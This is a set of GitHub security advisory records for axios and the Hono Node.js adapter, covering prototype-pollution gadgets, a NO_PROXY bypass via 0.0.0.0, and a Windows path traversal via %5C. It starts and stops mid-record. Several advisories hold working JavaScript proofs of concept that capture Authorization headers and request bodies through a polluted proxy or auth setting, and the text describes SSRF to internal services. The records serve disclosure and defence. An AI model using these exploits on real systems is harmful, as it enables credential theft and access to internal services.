paramsSerializer.serialize is a secondary but powerful sink because it can fully replace the query string.\n\n### PoC\n```\nimport http from \u0027node:http\u0027;\nimport axios from \u0027../../index.js\u0027;\n\nconst ATTACKER_USER = \u0027attacker\u0027;\nconst ATTACKER_PASS = \u0027exfil\u0027;\nconst ATTACKER_BASIC = Buffer.from(`${ATTACKER_USER}:${ATTACKER_PASS}`).toString(\u0027base64\u0027);\n\n// Step 1: simulate a pre-existing prototype-pollution primitive in this process.\n// In reality, a separate dependency would have done this. We keep the\n// \"polluted\" properties non-enumerable so they only affect inherited reads,\n// which is the realistic shape of most prototype-pollution gadgets.\nObject.defineProperty(Object.prototype, \u0027username\u0027, {\n value: ATTACKER_USER,\n configurable: true,\n});\nObject.defineProperty(Object.prototype, \u0027password\u0027, {\n value: ATTACKER_PASS,\n configurable: true,\n});\nObject.defineProperty(Object.prototype, \u0027serialize\u0027, {\n value: () =\u003e \u0027polluted=1\u0027,\n configurable: true,\n});\n\n// Local capture server.\nconst server = http.createServer((req, res) =\u003e {\n const captured = {\n authorization: req.headers[\u0027authorization\u0027] || null,\n url: req.url,\n };\n res.writeHead(200, { \u0027content-type\u0027: \u0027application/json\u0027 });\n res.end(JSON.stringify(captured));\n});\n\nawait new Promise((resolve) =\u003e server.listen(0, \u0027127.0.0.1\u0027, resolve));\nconst port = server.address().port;\n\ntry {\n // Application code: passes nested *placeholder* option objects that have\n // no own auth/serializer properties. Without prototype pollution this is\n // a no-op. With prototype pollution it becomes attacker-controlled state.\n const response = await axios.get(`http://127.0.0.1:${port}/demo`, {\n auth: {},\n paramsSerializer: {},\n params: { unused: \u0027ignored-by-polluted-serializer\u0027 },\n });\n\n console.log(\u0027--- PoC: nested-option prototype-pollution gadgets ---\u0027);\n console.log(\u0027Server saw:\u0027, JSON.stringify(response.data));\n\n const authLeaked = response.data.authorization === `Basic ${ATTACKER_BASIC}`;\n const urlRewritten = response.data.url === \u0027/demo?polluted=1\u0027;\n\n if (authLeaked \u0026\u0026 urlRewritten) {\n console.log(\n \u0027VULNERABLE: nested auth + paramsSerializer inherited polluted \u0027 +\n \u0027Object.prototype values into the outbound request.\u0027\n );\n process.exitCode = 0;\n } else {\n console.log(\u0027NOT VULNERABLE: nested option objects did not leak prototype state.\u0027);\n console.log(\u0027 authLeaked =\u0027, authLeaked);\n console.log(\u0027 urlRewritten =\u0027, urlRewritten);\n process.exitCode = 1;\n }\n} finally {\n server.close();\n // Restore Object.prototype so a noisy exit/process state cannot affect\n // anything else accidentally sharing the runtime.\n delete Object.prototype.username;\n delete Object.prototype.password;\n delete Object.prototype.serialize;\n}\n```\n\n### Impact\nConcrete consequences:\n- Silent injection of attacker-controlled Authorization: Basic \u2026 headers on outbound requests, enabling credential exfiltration to attacker-chosen upstreams or impersonation against trusted upstreams.\n- Full takeover of query-string serialization via paramsSerializer.serialize, enabling request tampering, cache-key poisoning, and bypass of upstream signature/policy checks that sign the literal request line.\n\u003cdetails\u003e",
"id": "GHSA-7q8q-rj6j-mhjq",
"modified": "2026-07-20T22:37:32Z",
"published": "2026-07-20T22:37:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-7q8q-rj6j-mhjq"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/11000"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/11001"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v0.33.0"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v1.18.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Axios: Nested axios option objects can consume polluted prototype values"
}
GHSA-F4GW-2P7V-4548
Vulnerability from github – Published: 2026-07-20 22:20 – Updated: 2026-07-20 22:20Summary
Axios versions containing lib/helpers/shouldBypassProxy.js do not treat 0.0.0.0 as a local address when evaluating NO_PROXY rules. In Node.js applications that use HTTP_PROXY or HTTPS_PROXY together with NO_PROXY=localhost,127.0.0.1,::1 or similar, a request to http://0.0.0.0:<port>/ can be routed through the configured proxy instead of bypassing it.
The issue is exploitable when an attacker can influence the axios request URL or a followed redirect target, and when the proxy can reach or relay 0.0.0.0 to local services. This is a Node.js runtime proxy-routing issue, not a browser, install-time, or development-tooling issue.
Impact
Applications are affected when all of the following are true:
- The application runs axios in Node.js with the HTTP adapter.
- The process uses environment proxy variables such as
HTTP_PROXYorHTTPS_PROXY. - The process uses
NO_PROXYentries such aslocalhost,127.0.0.1, or::1to keep local traffic out of the proxy path. - Attacker-controlled input can influence the request URL or redirect target.
- The configured proxy does not reject
0.0.0.0and can reach the local destination.
For plain HTTP targets, the proxy can receive the full request URL, headers, and body, and may be able to observe the local service response. HTTPS targets are less exposed because axios uses CONNECT tunneling in current versions.
Affected Functionality
Affected functionality is limited to environment-derived proxy selection in the Node HTTP adapter:
lib/adapters/http.jscallsgetProxyForUrl(location)and thenshouldBypassProxy(location)before applying the proxy.lib/helpers/shouldBypassProxy.jsnormalizes and comparesNO_PROXYentries.- Explicit caller-provided
config.proxyremains trusted caller configuration. - Browser, React Native, XHR, and fetch adapter behavior are not affected.
Technical Details
lib/helpers/shouldBypassProxy.js defines local loopback equivalence through isLoopback(). The current implementation recognizes localhost, IPv4 127.0.0.0/8, IPv6 ::1, and IPv4-mapped loopback forms, but it does not include 0.0.0.0.
At lib/helpers/shouldBypassProxy.js:176, axios treats two hosts as matching when both are considered loopback:
return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost));
Because isLoopback('0.0.0.0') returns false, NO_PROXY=localhost,127.0.0.1,::1 does not match http://0.0.0.0:<port>/. lib/adapters/http.js:185-193 then applies the environment proxy.
Proof of Concept of Attack
import http from 'http';
import axios from './index.js';
const listen = (handler, host = '127.0.0.1') =>
new Promise((resolve) => {
const server = http.createServer(handler);
server.listen(0, host, () => resolve(server));
});
const close = (server) => new Promise((resolve) => server.close(resolve));
const origin = await listen((req, res) => res.end('origin'), '0.0.0.0');
let proxyRequests = 0;
const proxy = await listen((req, res) => {
proxyRequests += 1;
res.end('proxied');
});
process.env.http_proxy = `http://127.0.0.1:${proxy.address().port}`;
process.env.HTTP_PROXY = process.env.http_proxy;
process.env.no_proxy = 'localhost,127.0.0.1,::1';
process.env.NO_PROXY = process.env.no_proxy;
try {
const direct = await axios.get(`http://127.0.0.1:${origin.address().port}/`);
const zero = await axios.get(`http://0.0.0.0:${origin.address().port}/`);
console.log({ direct: direct.data, zero: zero.data, proxyRequests });
} finally {
await close(origin);
await close(proxy);
}
Expected safe behavior: both 127.0.0.1 and 0.0.0.0 bypass the proxy when the NO_PROXY policy is intended to cover local destinations.
Observed behavior: 127.0.0.1 bypasses the proxy, while 0.0.0.0 is sent through the proxy.
Workarounds
- Add
0.0.0.0explicitly toNO_PROXYwhere local addresses must bypass proxies. - Reject or normalize
0.0.0.0in application URL validation before calling axios. - Set
proxy: falseon axios requests that must never use environment proxies. - Configure the proxy itself to reject
0.0.0.0, loopback, link-local, and internal address ranges.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.15.0"
},
{
"fixed": "1.18.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0.31.0"
},
{
"fixed": "0.33.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-183",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T22:20:18Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nAxios versions containing `lib/helpers/shouldBypassProxy.js` do not treat `0.0.0.0` as a local address when evaluating `NO_PROXY` rules. In Node.js applications that use `HTTP_PROXY` or `HTTPS_PROXY` together with `NO_PROXY=localhost,127.0.0.1,::1` or similar, a request to `http://0.0.0.0:\u003cport\u003e/` can be routed through the configured proxy instead of bypassing it.\n\nThe issue is exploitable when an attacker can influence the axios request URL or a followed redirect target, and when the proxy can reach or relay `0.0.0.0` to local services. This is a Node.js runtime proxy-routing issue, not a browser, install-time, or development-tooling issue.\n\n## Impact\n\nApplications are affected when all of the following are true:\n\n- The application runs axios in Node.js with the HTTP adapter.\n- The process uses environment proxy variables such as `HTTP_PROXY` or `HTTPS_PROXY`.\n- The process uses `NO_PROXY` entries such as `localhost`, `127.0.0.1`, or `::1` to keep local traffic out of the proxy path.\n- Attacker-controlled input can influence the request URL or redirect target.\n- The configured proxy does not reject `0.0.0.0` and can reach the local destination.\n\nFor plain HTTP targets, the proxy can receive the full request URL, headers, and body, and may be able to observe the local service response. HTTPS targets are less exposed because axios uses CONNECT tunneling in current versions.\n\n## Affected Functionality\n\nAffected functionality is limited to environment-derived proxy selection in the Node HTTP adapter:\n\n- `lib/adapters/http.js` calls `getProxyForUrl(location)` and then `shouldBypassProxy(location)` before applying the proxy.\n- `lib/helpers/shouldBypassProxy.js` normalizes and compares `NO_PROXY` entries.\n- Explicit caller-provided `config.proxy` remains trusted caller configuration.\n- Browser, React Native, XHR, and fetch adapter behavior are not affected.\n\n## Technical Details\n\n`lib/helpers/shouldBypassProxy.js` defines local loopback equivalence through `isLoopback()`. The current implementation recognizes `localhost`, IPv4 `127.0.0.0/8`, IPv6 `::1`, and IPv4-mapped loopback forms, but it does not include `0.0.0.0`.\n\nAt `lib/helpers/shouldBypassProxy.js:176`, axios treats two hosts as matching when both are considered loopback:\n\n```js\nreturn hostname === entryHost || (isLoopback(hostname) \u0026\u0026 isLoopback(entryHost));\n```\n\nBecause `isLoopback(\u00270.0.0.0\u0027)` returns `false`, `NO_PROXY=localhost,127.0.0.1,::1` does not match `http://0.0.0.0:\u003cport\u003e/`. `lib/adapters/http.js:185-193` then applies the environment proxy.\n\n## Proof of Concept of Attack\n\n```js\nimport http from \u0027http\u0027;\nimport axios from \u0027./index.js\u0027;\n\nconst listen = (handler, host = \u0027127.0.0.1\u0027) =\u003e\n new Promise((resolve) =\u003e {\n const server = http.createServer(handler);\n server.listen(0, host, () =\u003e resolve(server));\n });\n\nconst close = (server) =\u003e new Promise((resolve) =\u003e server.close(resolve));\n\nconst origin = await listen((req, res) =\u003e res.end(\u0027origin\u0027), \u00270.0.0.0\u0027);\n\nlet proxyRequests = 0;\nconst proxy = await listen((req, res) =\u003e {\n proxyRequests += 1;\n res.end(\u0027proxied\u0027);\n});\n\nprocess.env.http_proxy = `http://127.0.0.1:${proxy.address().port}`;\nprocess.env.HTTP_PROXY = process.env.http_proxy;\nprocess.env.no_proxy = \u0027localhost,127.0.0.1,::1\u0027;\nprocess.env.NO_PROXY = process.env.no_proxy;\n\ntry {\n const direct = await axios.get(`http://127.0.0.1:${origin.address().port}/`);\n const zero = await axios.get(`http://0.0.0.0:${origin.address().port}/`);\n\n console.log({ direct: direct.data, zero: zero.data, proxyRequests });\n} finally {\n await close(origin);\n await close(proxy);\n}\n```\n\nExpected safe behavior: both `127.0.0.1` and `0.0.0.0` bypass the proxy when the `NO_PROXY` policy is intended to cover local destinations.\n\nObserved behavior: `127.0.0.1` bypasses the proxy, while `0.0.0.0` is sent through the proxy.\n\n## Workarounds\n\n- Add `0.0.0.0` explicitly to `NO_PROXY` where local addresses must bypass proxies.\n- Reject or normalize `0.0.0.0` in application URL validation before calling axios.\n- Set `proxy: false` on axios requests that must never use environment proxies.\n- Configure the proxy itself to reject `0.0.0.0`, loopback, link-local, and internal address ranges.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n### Summary\n`axios` versions 1.15.0\u20131.16.1 contain an incomplete loopback-address check in `lib/helpers/shouldBypassProxy.js`. The `isLoopback()` function correctly identifies `127.0.0.0/8` and `::1` as loopback addresses but does not recognise `0.0.0.0` \u2014 the IPv4 unspecified address, which routes to the local machine on Linux and macOS.\n\nAn attacker who controls a URL passed to axios can use `http://0.0.0.0/\u003cpath\u003e` to bypass proxy-based SSRF filtering that the application relies upon.\n\n### Details\n## Affected versions\n\n`\u003e= 1.15.0, \u003c= 1.16.1`\n\nThe vulnerability was introduced in v1.15.0 when the `shouldBypassProxy` helper was added as a security improvement (PR #10661).\n\n---\n\n## Root cause\n\n**File:** `lib/helpers/shouldBypassProxy.js`\n\n```javascript\n// Line 1 \u2014 static allowlist (incomplete)\nconst LOOPBACK_HOSTNAMES = new Set([\u0027localhost\u0027]); // \u2190 0.0.0.0 missing\n\nconst isIPv4Loopback = (host) =\u003e {\n const parts = host.split(\u0027.\u0027);\n if (parts.length !== 4) return false;\n if (parts[0] !== \u0027127\u0027) return false; // \u2190 0.0.0.0: parts[0] = \u00270\u0027 \u2192 false\n return parts.every((p) =\u003e /^\\d+$/.test(p) \u0026\u0026 Number(p) \u003e= 0 \u0026\u0026 Number(p) \u003c= 255);\n};\n\nconst isLoopback = (host) =\u003e {\n if (!host) return false;\n if (LOOPBACK_HOSTNAMES.has(host)) return true; // \u2190 \u00270.0.0.0\u0027 not in set\n if (isIPv4Loopback(host)) return true; // \u2190 returns false for 0.0.0.0\n return isIPv6Loopback(host);\n};\n\nisLoopback(\u00270.0.0.0\u0027) returns false.\n\nNode\u0027s WHATWG URL parser does not normalise 0.0.0.0 to 127.0.0.1. Other bypass forms are safe: new URL(\u0027http://0177.0.0.1/\u0027).hostname \u2192 \u0027127.0.0.1\u0027 (octal), new URL(\u0027http://2130706433/\u0027).hostname \u2192 \u0027127.0.0.1\u0027 (decimal), new URL(\u0027http://0x7f000001/\u0027).hostname \u2192 \u0027127.0.0.1\u0027 (hex). Only 0.0.0.0 escapes normalisation.\n\n\n### PoC\n\u0027use strict\u0027;\n\n// Verbatim copy of relevant logic from axios v1.16.1 shouldBypassProxy.js\n\nconst LOOPBACK_HOSTNAMES = new Set([\u0027localhost\u0027]);\n\nconst isIPv4Loopback = (host) =\u003e {\n const parts = host.split(\u0027.\u0027);\n if (parts.length !== 4) return false;\n if (parts[0] !== \u0027127\u0027) return false;\n return parts.every((p) =\u003e /^\\d+$/.test(p) \u0026\u0026 Number(p) \u003e= 0 \u0026\u0026 Number(p) \u003c= 255);\n};\n\nconst isLoopback = (host) =\u003e {\n if (!host) return false;\n if (LOOPBACK_HOSTNAMES.has(host)) return true;\n return isIPv4Loopback(host);\n};\n\n// 1. Show URL parser does NOT normalise 0.0.0.0\nconsole.log(new URL(\u0027http://0.0.0.0/\u0027).hostname); // \u2192 \u00270.0.0.0\u0027 \u2190 NOT normalised\nconsole.log(new URL(\u0027http://0177.0.0.1/\u0027).hostname); // \u2192 \u0027127.0.0.1\u0027 \u2190 normalised (safe)\nconsole.log(new URL(\u0027http://2130706433/\u0027).hostname); // \u2192 \u0027127.0.0.1\u0027 \u2190 normalised (safe)\n\n// 2. Show isLoopback fails for 0.0.0.0\nconsole.log(isLoopback(\u00270.0.0.0\u0027)); // \u2192 false \u2190 BUG: should be true\nconsole.log(isLoopback(\u0027127.0.0.1\u0027)); // \u2192 true \u2190 correct\n\nVerified output on Node.js v22 / axios v1.16.1:\n0.0.0.0 \u2190 NOT normalised by URL parser\n127.0.0.1 \u2190 octal normalised correctly\n127.0.0.1 \u2190 decimal normalised correctly\nfalse \u2190 0.0.0.0 not detected as loopback \u26a0\ntrue \u2190 127.0.0.1 correctly detected\n\n### Impact\nApplications that:\n\nAccept user-supplied URLs and pass them to axios\nUse a proxy with NO_PROXY=localhost (or similar) for SSRF filtering\n\u2026can be bypassed by supplying http://0.0.0.0/\u003cpath\u003e. Axios routes the request through the proxy (shouldBypassProxy returns false). If the proxy itself does not filter 0.0.0.0, the connection reaches the local machine \u2014 exposing internal services such as cloud IMDS endpoints, internal admin panels, or microservice APIs.\n\nFix\nMinimal (one line):\n\n- const LOOPBACK_HOSTNAMES = new Set([\u0027localhost\u0027]);\n+ const LOOPBACK_HOSTNAMES = new Set([\u0027localhost\u0027, \u00270.0.0.0\u0027]);\n\nComprehensive:\n\nconst isIPv4Unspecified = (host) =\u003e host === \u00270.0.0.0\u0027;\n\nconst isLoopback = (host) =\u003e {\n if (!host) return false;\n if (LOOPBACK_HOSTNAMES.has(host)) return true;\n if (isIPv4Loopback(host)) return true;\n if (isIPv4Unspecified(host)) return true; // add this line\n return isIPv6Loopback(host);\n};\n\u003c/details\u003e",
"id": "GHSA-f4gw-2p7v-4548",
"modified": "2026-07-20T22:20:18Z",
"published": "2026-07-20T22:20:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-f4gw-2p7v-4548"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/11000"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/11001"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v0.33.0"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v1.18.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Axios: NO_PROXY bypass for 0.0.0.0 local addresses in axios"
}
GHSA-FRVP-7C67-39W9
Vulnerability from github – Published: 2026-07-21 18:17 – Updated: 2026-08-12 18:26The same as the hono core Path traversal in serve-static on Windows via encoded backslash (%5C).
Summary
On Windows hosts, an encoded backslash (%5C) in the request path decodes to \, which the Windows path resolver treats as a separator. serve-static then resolves a single URL segment such as admin\secret.txt into a nested file under the root and serves it, letting an attacker read static files meant to be protected behind prefix-mounted middleware. Directory escape (..) remains blocked.
Details
The router splits paths only on /, so /admin%5Csecret.txt is one segment and middleware on /admin/* does not run. The serve-static guard rejects ./.. and consecutive separators but lets a lone \ through; on Windows the file resolver re-splits it into the protected subtree.
This affects Windows hosts serving static files via the Node, Bun, or Deno adapters that guard a static subtree with prefix-mounted middleware.
Impact
An unauthenticated attacker can read static files under a middleware-guarded prefix on Windows hosts. The read stays within the configured root; escape outside the root is not possible.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@hono/node-server"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.0.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@hono/node-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.19.15"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T18:17:25Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "The same as the `hono` core [Path traversal in `serve-static` on Windows via encoded backslash (`%5C`)](https://github.com/honojs/hono/security/advisories/GHSA-wwfh-h76j-fc44).\n\n### Summary\n\nOn Windows hosts, an encoded backslash (`%5C`) in the request path decodes to `\\`, which the Windows path resolver treats as a separator. `serve-static` then resolves a single URL segment such as `admin\\secret.txt` into a nested file under the root and serves it, letting an attacker read static files meant to be protected behind prefix-mounted middleware. Directory escape (`..`) remains blocked.\n\n### Details\n\nThe router splits paths only on `/`, so `/admin%5Csecret.txt` is one segment and middleware on `/admin/*` does not run. The `serve-static` guard rejects `.`/`..` and consecutive separators but lets a lone `\\` through; on Windows the file resolver re-splits it into the protected subtree.\n\nThis affects Windows hosts serving static files via the Node, Bun, or Deno adapters that guard a static subtree with prefix-mounted middleware.\n\n### Impact\n\nAn unauthenticated attacker can read static files under a middleware-guarded prefix on Windows hosts. The read stays within the configured root; escape outside the root is not possible.",
"id": "GHSA-frvp-7c67-39w9",
"modified": "2026-08-12T18:26:49Z",
"published": "2026-07-21T18:17:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/honojs/node-server/security/advisories/GHSA-frvp-7c67-39w9"
},
{
"type": "WEB",
"url": "https://github.com/honojs/node-server/commit/cd076e117cfe4cb8d31f9eb11d2e8f38a6cb8faf"
},
{
"type": "PACKAGE",
"url": "https://github.com/honojs/node-server"
},
{
"type": "WEB",
"url": "https://github.com/honojs/node-server/releases/tag/v2.0.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Node.js Adapter for Hono: Path traversal in `serve-static` on Windows via encoded backslash (`%5C`)"
}
GHSA-GCFJ-64VW-6MP9
Vulnerability from github – Published: 2026-07-20 22:40 – Updated: 2026-07-20 22:40Summary
Axios’ Node.js HTTP adapter can route requests through an attacker-controlled proxy when Object.prototype.proxy is polluted and request configuration is materialized as a regular object before dispatch.
Recent axios releases harden merged request config by creating a null-prototype object. However, request interceptors run after that merge and may return a replacement config. A common immutable interceptor pattern such as {...config} or Object.assign({}, config) converts the hardened config back into a normal object. Axios then dispatches that object without re-hardening it, and the Node HTTP adapter reads config.proxy through the prototype chain.
Impact
In a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can route affected HTTP requests through an attacker-controlled proxy.
The highest confirmed impact is for plaintext HTTP requests. The proxy can observe explicit Authorization headers, axios-generated Basic auth from config.auth, request method, absolute URL, Host, and request body content. The proxy can also return its own response to axios for the affected request.
This does not establish browser impact. It also does not establish HTTPS header or body disclosure under normal TLS validation.
Affected Functionality
Affected functionality is limited to axios requests that use the Node.js HTTP adapter, including default Node usage when the HTTP adapter is selected and explicit adapter: 'http' usage.
The relevant configuration path is config.proxy in the Node HTTP adapter. The hardened-bypass path requires a request interceptor such as:
api.interceptors.request.use((config) => ({
...config,
headers: {
...config.headers,
'X-App': 'demo'
}
}));
Unaffected or mitigating conditions include browser adapters, the Node fetch adapter, no polluted Object.prototype.proxy, an own proxy: false or safe own proxy value on the config, and hardened releases where interceptors return the original null-prototype config instead of a regular object clone.
Technical Details
lib/core/mergeConfig.js creates a null-prototype merged config and uses own-property reads for merged values. This is intended to prevent polluted Object.prototype values from affecting config behavior.
lib/core/Axios.js runs request interceptors after the merge. In both the asynchronous and synchronous interceptor paths, axios passes the interceptor-returned config into dispatch.
lib/core/dispatchRequest.js accepts that returned config, transforms request data, selects the adapter, and calls the adapter without re-hardening or re-normalizing the config.
lib/adapters/http.js uses own-property reads for several sensitive fields, but the initial proxy dispatch path still passes config.proxy directly into setProxy(). If an interceptor returned a regular object, config.proxy can resolve to inherited Object.prototype.proxy.
Proof of Concept of Attack
import axios from './index.js';
import http from 'node:http';
for (const key of [
'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY',
'http_proxy', 'https_proxy', 'all_proxy',
'NO_PROXY', 'no_proxy'
]) {
delete process.env[key];
}
const listen = (handler) => new Promise((resolve, reject) => {
const server = http.createServer(handler);
server.once('error', reject);
server.listen(0, '127.0.0.1', () => resolve(server));
});
const close = (server) => new Promise((resolve) => server.close(resolve));
const targetHits = [];
const proxyHits = [];
const target = await listen((req, res) => {
targetHits.push(req.url);
res.end('target');
});
const proxy = await listen((req, res) => {
let body = '';
req.on('data', (chunk) => body += chunk);
req.on('end', () => {
proxyHits.push({
url: req.url,
authorization: req.headers.authorization,
host: req.headers.host,
body
});
res.setHeader('content-type', 'application/json');
res.end('{"server":"proxy"}');
});
});
Object.prototype.proxy = {
protocol: 'http',
host: '127.0.0.1',
port: proxy.address().port
};
const api = axios.create();
api.interceptors.request.use((config) => ({
...config,
headers: {
...config.headers,
'X-App': 'demo'
}
}));
try {
const url = `http://127.0.0.1:${target.address().port}/api/secret`;
const res = await api.post(
url,
{secret: 'request-body-secret'},
{headers: {Authorization: 'Bearer EXPLICIT_SECRET'}}
);
console.log({
response: res.data,
targetHits,
proxyHits,
finalConfigHasOwnProxy: Object.hasOwn(res.config, 'proxy')
});
} finally {
delete Object.prototype.proxy;
await close(target);
await close(proxy);
}
Expected vulnerable result: the response comes from the proxy, targetHits is empty, and proxyHits contains the absolute URL, authorization header, host header, and request body.
Workarounds
Set an own proxy: false on affected requests or on an axios instance when proxy support is not required.
Avoid request interceptors that return regular object clones of config in hardened releases. Returning the original config or cloning into a null-prototype object avoids this specific bypass, but this is fragile and should not replace a fix.
Use the Node fetch adapter for affected requests where its behavior is compatible with the application.
Original Report ## Summary Axios hardens merged request config by creating a null-prototype object, preventing polluted Object.prototype properties from influencing request behavior. Request interceptors run after that hardening, and a normal immutable interceptor pattern such as {...config} or Object.assign({}, config) re-materializes the config as a regular object. Axios then dispatches that interceptor-returned object without re-hardening it. In the Node HTTP adapter, config.proxy is read through the prototype chain, allowing a polluted Object.prototype.proxy to route authenticated HTTP requests through an attacker-controlled proxy. ## Impact In a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can cause affected axios requests to be sent through an attacker-controlled proxy when the application uses a request interceptor that returns a plain object copy of the config. Verified local impact: - Authenticated request redirection to attacker-controlled proxy. - Disclosure of explicit Authorization headers. - Disclosure of axios-generated Basic auth headers from config.auth. - Disclosure of request metadata: method, absolute URL, Host header. - Disclosure of POST body content. This report does not claim browser impact or proven HTTPS credential disclosure. The demonstrated credential and body disclosure is for Node HTTP-adapter requests over HTTP/plaintext. ## Affected component The affected component is the Node.js HTTP adapter request path after request interceptors have run. The issue requires: - Node.js HTTP adapter usage. - A polluted Object.prototype.proxy. - A request interceptor that returns a plain object copy of the config. - No own proxy: false or safe own proxy property on the request config. ## Affected versions Confirmed affected for this specific hardening-bypass variant: - axios@1.15.2 - axios@1.16.0 axios@1.16.0 was the latest published version observed via npm view axios version during validation. Related older behavior observed during testing: - 1.13.0, 1.13.6, 1.14.0, 1.15.0, and 1.15.1 routed via inherited Object.prototype.proxy even without the interceptor re-materialization step. That is related background, not the narrowed hardening-bypass variant described here. ## Root cause 1. Initial hardening Axios initially hardens merged request config by creating a null-prototype object in mergeConfig(), which is meant to prevent inherited Object.prototype properties from influencing request behavior. Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/mergeConfig.js#L21-L25 2. Interceptor re-materialization Request interceptors run after that hardening step, and axios allows an interceptor to return a replacement config object. A common immutable pattern such as {...config} or Object.assign({}, config) converts the hardened null- prototype config back into a normal object with Object.prototype as its prototype. Permalinks: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L187-L199, https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L204-L218 3. No post-interceptor re-hardening Axios passes the interceptor-returned config into request dispatch without restoring the null-prototype property or otherwise normalizing the object into an own-property-only structure. Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/dispatchRequest.js#L34-L48 4. Prototype-chain read of proxy in the Node adapter The Node HTTP adapter later consults config.proxy, and this read is reachable through the prototype chain once the interceptor has re-materialized the config as a normal object. As a result, a polluted Object.prototype.proxy can redirect the outgoing authenticated request through an attacker-controlled proxy. Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/adapters/http.js#L816-L820 ## Why this is a security issue and not intended behavior Axios’ threat model explicitly treats polluted Object.prototype config reads as high-impact read-side gadgets and states that axios defends reachable config-read gadgets through own-property checks and null-prototype structures. The existing regression tests also assert that a polluted Object.prototype.proxy must not route requests through an attacker proxy. This behavior is therefore a bypass of axios’ existing prototype-pollution hardening, not merely a generic “polluted process” complaint. The interceptor does not need to be malicious; it can be ordinary application code that returns an immutable copy of the config. The attacker-controlled piece is the polluted prototype property supplied by a separate vulnerability or dependency. ## Realistic threat model A realistic exploit chain is: 1. A transitive dependency or upstream parser bug allows prototype pollution in a Node.js process. 2. The polluted property is Object.prototype.proxy, with host and port pointing to an attacker-controlled proxy. 3. The application uses axios with a request interceptor that returns a plain object copy, such as adding headers immutably. 4. The application sends an HTTP request with credentials or sensitive body data. 5. Axios routes that request through the inherited proxy configuration. This requires a prototype pollution primitive and a compatible interceptor pattern. It does not require the attacker to control the interceptor. ## Proof of concept Save as poc.mjs in the axios repository root: import axios from './index.js';
import http from 'node:http';
const proxyEnvKeys = [
'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY',
'http_proxy', 'https_proxy', 'all_proxy',
'NO_PROXY', 'no_proxy'
];
for (const key of proxyEnvKeys) delete process.env[key];
const listen = (handler) => new Promise((resolve, reject) => {
const server = http.createServer(handler);
server.once('error', reject);
server.listen(0, '127.0.0.1', () => resolve(server));
});
const close = (server) => new Promise((resolve) => server.close(resolve));
const targetHits = [];
const proxyHits = [];
const target = await listen((req, res) => {
let body = '';
req.on('data', (chunk) => body += chunk);
req.on('end', () => {
targetHits.push({
url: req.url,
method: req.method,
authorization: req.headers.authorization || null,
body
});
res.writeHead(200, {'Content-Type': 'application/json'});
res.end(JSON.stringify({server: 'target'}));
});
});
const proxy = await listen((req, res) => {
let body = '';
req.on('data', (chunk) => body += chunk);
req.on('end', () => {
proxyHits.push({
url: req.url,
method: req.method,
